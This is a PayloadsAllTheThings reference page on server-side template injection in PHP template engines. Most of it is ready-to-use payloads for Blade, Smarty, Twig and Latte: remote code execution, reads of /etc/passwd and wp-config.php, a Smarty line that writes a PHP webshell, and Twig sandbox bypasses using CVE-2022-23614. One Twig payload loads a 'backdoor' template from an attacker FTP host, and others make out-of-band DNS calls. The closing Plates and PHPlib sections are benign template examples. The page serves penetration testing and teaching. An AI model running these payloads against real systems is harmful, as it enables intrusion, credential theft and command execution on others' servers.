php.md (10948B)
1 --- 2 title: "Server Side Template Injection - PHP" 3 topic: "Server Side Template Injection" 4 topicSlug: "server-side-template-injection" 5 sourcePath: "Server Side Template Injection/PHP.md" 6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/Server%20Side%20Template%20Injection/PHP.md" 7 sha: "3ac27901c711" 8 isReadme: false 9 --- 10 11 # Server Side Template Injection - PHP 12 13 > Server-Side Template Injection (SSTI) is a vulnerability that occurs when an attacker can inject malicious input into a server-side template, causing the template engine to execute arbitrary commands on the server. In PHP, SSTI can arise when user input is embedded within templates rendered by templating engines like Smarty, Twig, or even within plain PHP templates, without proper sanitization or validation. 14 15 ## Summary 16 17 - [Templating Libraries](#templating-libraries) 18 - [Universal Payloads](#universal-payloads) 19 - [Blade](#blade) 20 - [Smarty](#smarty) 21 - [Smarty - Code Execution with Obfuscation](#smarty---code-execution-with-obfuscation) 22 - [Twig](#twig) 23 - [Twig - Basic Injection](#twig---basic-injection) 24 - [Twig - Template Format](#twig---template-format) 25 - [Twig - Arbitrary File Reading](#twig---arbitrary-file-reading) 26 - [Twig - Code Execution](#twig---code-execution) 27 - [Twig - Code Execution with Obfuscation](#twig---code-execution-with-obfuscation) 28 - [Latte](#latte) 29 - [Latte - Basic Injection](#latte---basic-injection) 30 - [Latte - Code Execution](#latte---code-execution) 31 - [patTemplate](#pattemplate) 32 - [PHPlib](#phplib-and-html_template_phplib) 33 - [Plates](#plates) 34 - [References](#references) 35 36 ## Templating Libraries 37 38 | Template Name | Payload Format | 39 |-----------------|----------------| 40 | Blade (Laravel) | `{{ }}` | 41 | Latte | `{ }` | 42 | Mustache | `{{ }}` | 43 | Plates | `<?= ?>` | 44 | Smarty | `{ }` | 45 | Twig | `{{ }}` | 46 47 ## Universal Payloads 48 49 Generic code injection payloads work for many PHP-based template engines, such as Blade, Latte and Smarty. 50 51 To use these payloads, wrap them in the appropriate tag. 52 53 ```php 54 // Rendered RCE 55 shell_exec('id') 56 system('id') 57 58 // Error-Based RCE 59 ini_set("error_reporting", "1") // Enable verbose fatal errors for Error-Based 60 call_user_func(join("", ["xx", shell_exec('id')])) 61 62 // Boolean-Based RCE 63 1 / (pclose(popen("id", "wb")) == 0) 64 65 // Time-Based RCE 66 shell_exec('id && sleep 5') 67 system('id && sleep 5') 68 ``` 69 70 ## Blade 71 72 > Universal payloads also work for Blade. 73 74 [Official website](https://laravel.com/docs/master/blade) 75 > Blade is the simple, yet powerful templating engine that is included with Laravel. 76 77 The string `id` is generated with `{{implode(null,array_map(chr(99).chr(104).chr(114),[105,100]))}}`. 78 79 ```php 80 {{passthru(implode(null,array_map(chr(99).chr(104).chr(114),[105,100])))}} 81 ``` 82 83 Reference and explanation of payload can be found [yeswehack/server-side-template-injection-exploitation](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation). 84 85 --- 86 87 ## Smarty 88 89 > Universal payloads also work for Smarty before v5. 90 91 [Official website](https://www.smarty.net/docs/en/) 92 > Smarty is a template engine for PHP. 93 94 ```php 95 {$smarty.version} 96 {php}echo `id`;{/php} //deprecated in smarty v3 97 {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())} 98 {system('ls')} // compatible v3, deprecated in v5 99 {system('cat index.php')} // compatible v3, deprecated in v5 100 ``` 101 102 ### Smarty - Code Execution with Obfuscation 103 104 By employing the variable modifier `cat`, individual characters are concatenated to form the string "id" as follows: `{chr(105)|cat:chr(100)}`. 105 106 Execute system comman (command: `id`): 107 108 ```php 109 {{passthru(implode(Null,array_map(chr(99)|cat:chr(104)|cat:chr(114),[105,100])))}} 110 ``` 111 112 Reference and explanation of payload can be found [yeswehack/server-side-template-injection-exploitation](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation). 113 114 --- 115 116 ## Twig 117 118 [Official website](https://twig.symfony.com/) 119 > Twig is a modern template engine for PHP. 120 121 ### Twig - Basic Injection 122 123 ```php 124 {{7*7}} 125 {{7*'7'}} would result in 49 126 {{dump(app)}} 127 {{dump(_context)}} 128 {{app.request.server.all|join(',')}} 129 ``` 130 131 ### Twig - Template Format 132 133 ```php 134 $output = $twig > render ( 135 'Dear' . $_GET['custom_greeting'], 136 array("first_name" => $user.first_name) 137 ); 138 139 $output = $twig > render ( 140 "Dear {first_name}", 141 array("first_name" => $user.first_name) 142 ); 143 ``` 144 145 ### Twig - Arbitrary File Reading 146 147 ```php 148 "{{'/etc/passwd'|file_excerpt(1,30)}}"@ 149 {{include("wp-config.php")}} 150 ``` 151 152 ### Twig - Code Execution 153 154 ```php 155 {{self}} 156 {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} 157 {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} 158 {{['id']|filter('system')}} 159 {{[0]|reduce('system','id')}} 160 {{['id']|map('system')|join}} 161 {{['id',1]|sort('system')|join}} 162 {{['cat\x20/etc/passwd']|filter('system')}} 163 {{['cat$IFS/etc/passwd']|filter('system')}} 164 {{['id']|filter('passthru')}} 165 {{['id']|map('passthru')}} 166 {{['nslookup oastify.com']|filter('system')}} 167 168 {% for a in ["error_reporting", "1"]|sort("ini_set") %}{% endfor %} // Enable verbose error output for Error-Based 169 {{_self.env.registerUndefinedFilterCallback("shell_exec")}}{%include ["Y:/A:/", _self.env.getFilter("id")]|join%} // Error-Based RCE <= 1.19 170 {{[0]|map(["xx", {"id": "shell_exec"}|map("call_user_func")|join]|join)}} // Error-Based RCE >=1.41, >=2.10, >=3.0 171 172 {{_self.env.registerUndefinedFilterCallback("shell_exec")}}{{1/(_self.env.getFilter("id && echo UniqueString")|trim('\n') ends with "UniqueString")}} // Boolean-Based RCE <= 1.19 173 {{1/({"id && echo UniqueString":"shell_exec"}|map("call_user_func")|join|trim('\n') ends with "UniqueString")}} // Boolean-Based RCE >=1.41, >=2.10, >=3.0 174 175 {% set a = ["error_reporting", "1"]|sort("ini_set") %}{% set b = ["ob_start", "call_user_func"]|sort("call_user_func") %}{{ ["id", 0]|sort("system") }}{% set a = ["ob_end_flush", []]|sort("call_user_func_array")%} // Error-Based RCE with sandbox bypass using CVE-2022-23614 176 {{ 1 / (["id >>/dev/null && echo -n 1", "0"]|sort("system")|first == "0") }} // Boolean-Based RCE with sandbox bypass using CVE-2022-23614 177 ``` 178 179 With certain settings, Twig interrupts rendering, if any errors or warnings are raised. This payload works fine in these cases: 180 181 ```php 182 {{ {'id':'shell_exec'}|map('call_user_func')|join }} 183 ``` 184 185 Example injecting values to avoid using quotes for the filename (specify via OFFSET and LENGTH where the payload FILENAME is) 186 187 ```python 188 FILENAME{% set var = dump(_context)[OFFSET:LENGTH] %} {{ include(var) }} 189 ``` 190 191 Example with an email passing FILTER_VALIDATE_EMAIL PHP. 192 193 ```powershell 194 POST /subscribe?0=cat+/etc/passwd HTTP/1.1 195 email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld 196 ``` 197 198 ### Twig - Code Execution with Obfuscation 199 200 Twig's block feature and built-in `_charset` variable can be nesting can be used to produced the payload (command: `id`) 201 202 ```twig 203 {%block U%}id000passthru{%endblock%}{%set x=block(_charset|first)|split(000)%}{{[x|first]|map(x|last)|join}} 204 ``` 205 206 The following payload, which harnesses the built-in `_context` variable, also achieves RCE – provided that the template engine performs a double-rendering process: 207 208 ```twig 209 {{id~passthru~_context|join|slice(2,2)|split(000)|map(_context|join|slice(5,8))}} 210 ``` 211 212 Reference and explanation of payload can be found [yeswehack/server-side-template-injection-exploitation](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation). 213 214 --- 215 216 ## Latte 217 218 > Universal payloads also work for Latte. 219 220 ### Latte - Basic Injection 221 222 ```php 223 {var $X="POC"}{$X} 224 ``` 225 226 ### Latte - Code Execution 227 228 ```php 229 {php system('nslookup oastify.com')} 230 ``` 231 232 --- 233 234 ## patTemplate 235 236 > [patTemplate](https://github.com/wernerwa/pat-template) non-compiling PHP templating engine, that uses XML tags to divide a document into different parts 237 238 ```xml 239 <patTemplate:tmpl name="page"> 240 This is the main page. 241 <patTemplate:tmpl name="foo"> 242 It contains another template. 243 </patTemplate:tmpl> 244 <patTemplate:tmpl name="hello"> 245 Hello {NAME}.<br/> 246 </patTemplate:tmpl> 247 </patTemplate:tmpl> 248 ``` 249 250 --- 251 252 ## PHPlib and HTML_Template_PHPLIB 253 254 [HTML_Template_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB) is the same as PHPlib but ported to Pear. 255 256 `authors.tpl` 257 258 ```html 259 <html> 260 <head><title>{PAGE_TITLE}</title></head> 261 <body> 262 <table> 263 <caption>Authors</caption> 264 <thead> 265 <tr><th>Name</th><th>Email</th></tr> 266 </thead> 267 <tfoot> 268 <tr><td colspan="2">{NUM_AUTHORS}</td></tr> 269 </tfoot> 270 <tbody> 271 <!-- BEGIN authorline --> 272 <tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr> 273 <!-- END authorline --> 274 </tbody> 275 </table> 276 </body> 277 </html> 278 ``` 279 280 `authors.php` 281 282 ```php 283 <?php 284 //we want to display this author list 285 $authors = array( 286 'Christian Weiske' => 'cweiske@php.net', 287 'Bjoern Schotte' => 'schotte@mayflower.de' 288 ); 289 290 require_once 'HTML/Template/PHPLIB.php'; 291 //create template object 292 $t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep'); 293 //load file 294 $t->setFile('authors', 'authors.tpl'); 295 //set block 296 $t->setBlock('authors', 'authorline', 'authorline_ref'); 297 298 //set some variables 299 $t->setVar('NUM_AUTHORS', count($authors)); 300 $t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d')); 301 302 //display the authors 303 foreach ($authors as $name => $email) { 304 $t->setVar('AUTHOR_NAME', $name); 305 $t->setVar('AUTHOR_EMAIL', $email); 306 $t->parse('authorline_ref', 'authorline', true); 307 } 308 309 //finish and echo 310 echo $t->finish($t->parse('OUT', 'authors')); 311 ?> 312 ``` 313 314 --- 315 316 ## Plates 317 318 Plates is inspired by Twig but a native PHP template engine instead of a compiled template engine. 319 320 controller: 321 322 ```php 323 // Create new Plates instance 324 $templates = new League\Plates\Engine('/path/to/templates'); 325 326 // Render a template 327 echo $templates->render('profile', ['name' => 'Jonathan']); 328 ``` 329 330 page template: 331 332 ```php 333 <?php $this->layout('template', ['title' => 'User Profile']) ?> 334 335 <h1>User Profile</h1> 336 <p>Hello, <?=$this->e($name)?></p> 337 ``` 338 339 layout template: 340 341 ```php 342 <html> 343 <head> 344 <title><?=$this->e($title)?></title> 345 </head> 346 <body> 347 <?=$this->section('content')?> 348 </body> 349 </html> 350 ``` 351 352 ## References 353 354 - [Limitations are just an illusion – advanced server-side template exploitation with RCE everywhere - Brumens - March 24, 2025](https://web.archive.org/web/20240906203847/https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation) 355 - [Server Side Template Injection (SSTI) via Twig escape handler - Grav - March 21, 2024](https://github.com/getgrav/grav/security/advisories/GHSA-2m7x-c7px-hp58) 356 - [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 3, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md)